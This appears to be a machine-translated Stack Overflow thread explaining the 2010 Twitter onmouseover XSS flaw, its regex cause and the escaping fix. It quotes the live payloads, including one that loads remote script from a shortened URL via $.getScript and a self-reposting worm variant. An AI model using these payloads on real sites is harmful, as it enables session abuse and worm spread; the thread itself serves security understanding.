今天的XSS onmouseover漏洞利用twitter.com

ibz*_*ibz 52 javascript security twitter xss jquery

你能解释一下今天Twitter上究竟发生了什么吗?基本上,漏洞利用导致人们发布包含此链接的推文:

http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/

这在技术上是XSS攻击还是其他什么?

以下是Twitter主页的外观:http://www.flickr.com/photos/travelist/6832853140/

Mic*_*kis 38

该漏洞是因为未正确解析URL.例如,以下URL发布到Twitter:

http://thisisatest.com/@"onmouseover="alert('test xss')"/
Run Code Online (Sandbox Code Playgroud)

Twitter将此视为URL.解析时,Twitter会围绕该代码包含一个链接,因此HTML现在看起来像:

<a href="http://thisisatest.com/@"onmouseover="alert('test xss')"rel/" target="_blank" ="">http://thisisatest.com/@"onmouseover="alert('test xss')"/</a></span> 
Run Code Online (Sandbox Code Playgroud)

你可以看到,通过输入URL和尾部斜杠,Twitter认为它有一个有效的URL,即使它包含一个引号标记,允许它转义(即终止href属性,对于那里的学生)URL属性并包括鼠标.您可以向页面写入任何内容,包括关闭链接和包含脚本元素.此外,您不受限制,因为您可以使用140个字符限制$.getScript().

如果提交提交,则会阻止此XSS漏洞.

详细而言,违规的正则表达式是:

REGEXEN[:valid_url_path_chars] = /(?:
  #{REGEXEN[:wikipedia_disambiguation]}|
  @[^\/]+\/|
  [\.\,]?#{REGEXEN[:valid_general_url_path_chars]}
)/ix
Run Code Online (Sandbox Code Playgroud)

@[^\/]+\/当它以@符号作为前缀并以正斜杠为后缀时,该部分允许任何字符(正斜杠除外).

@#{REGEXEN[:valid_general_url_path_chars]}+\/现在更改为只允许有效的URL字符.

  • 这是对相关代码的准确分析. (3认同)

roo*_*ook 15

是的,这是XSS,它正在攻击一个javascript事件处理程序.这个XSS的酷炫之处在于它不需要<>利用.注入的字符串是:size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')".

size::999999999999px使得它非常大,并且更有可能有人会将鼠标悬停在它上面.真正的问题是onmouseover=事件处理程序.

要在PHP中防止这种情况,您需要将引号转换为其html实体: $var=htmlspecialchars($var,ENT_QUOTES);

这是因为HTML无法像sql一样转义引号: \'

  • 它是,但stjowa没有编辑你的拼写错误所需的代表. (14认同)
  • @Rook:我相信你有一个错字 - "ENT_QUOTS"应该是"ENT_QUOTES" (2认同)
  • @stjowa和那就是为什么堆栈溢出是wiki风格. (2认同)
  • 从技术上来说,这个特定的例子不需要`ENT_QUOTES`因为```默认情况下被`htmlspecialchars()`转义.只有单引号字符''`没有`ENT_QUOTES`就没有转义.单引号用于属性分隔符的次数远远少于双倍,但始终使用"ENT_QUOTES"来保证安全性仍然是个好主意. (2认同)

ACP*_*ACP 5

该漏洞是 JavaScript 注入的经典部分。假设您写了一条包含以下文本的推文:

\n\n
"http://www.guardian.co.uk/technology is the best!"\n
Run Code Online (Sandbox Code Playgroud)\n\n

当您查看 Twitter 网页时,它会变成一个链接,如下所示:

\n\n
<a href="http://www.guardian.co.uk/technology" class="tweet-url web" \n rel="nofollow">http://www.guardian.co.uk/technology</a> is the best!\n
Run Code Online (Sandbox Code Playgroud)\n\n

该漏洞攻击了链接创建功能。漏洞利用推文的原始文本将如下所示:

\n\n
http://a.no/@";onmouseover=";$(\'textarea:first\').val(this.innerHTML);\n   $(\'.status-update-form\').submit();"class="modal-overlay"/\n
Run Code Online (Sandbox Code Playgroud)\n\n

Twitter 没有正确保护,可能是因为 @" 字符组合破坏了他们的 [HTML] 解析器。该链接将生成以下页面源代码:

\n\n
<a href="http://a.no/@";onmouseover=";$(\'textarea:first\').val(this.innerHTML);\n $(\'.status-update-form\').submit();"class="modal-overlay"/ class="tweet-url web"\n      rel="nofollow">\n
Run Code Online (Sandbox Code Playgroud)\n\n

这意味着可执行内容(onMouseOver="stuff" 位)已结束在页面源代码中。浏览器不知道更多,就运行了这段代码。因为它运行在用户的浏览器中,所以它可以执行用户执行的任何操作;大多数变体都利用这种能力来重新发布内容,这就是它像病毒一样传播的原因。为了鼓励用户通过鼠标悬停来激活代码,他们还使用 CSS [层叠样式表,决定页面布局] 将块格式化为黑底黑字。其他版本被用户黑客攻击以获得各种其他效果,例如色情网站重定向、推文中的彩虹文本等等。其中一些会弹出旨在警告用户的对话框,谈论帐户被禁用或密码被盗(在这两种情况下,他们都没有)。

\n\n

Twitter 不是通过阻止 onMouseOver 字符串(一些愚蠢的博客所要求的)来解决这个问题,而是通过正确地清理输入来解决这个问题。这些推文中的 " 标记现在变成了 " \xe2\x80\x93 HTML 转义形式。

\n\n

从技术上讲,这是一种二阶注入攻击;攻击字符串被插入数据库并正确处理,但是当字符串被读回时,攻击就会发生。这也不是那么复杂的攻击——对于 Twitter 来说,他们被抓住了,这让他们感到相当尴尬。

\n\n

资料来源:Twitter 黑客攻击:它是如何开始以及如何运作的

\n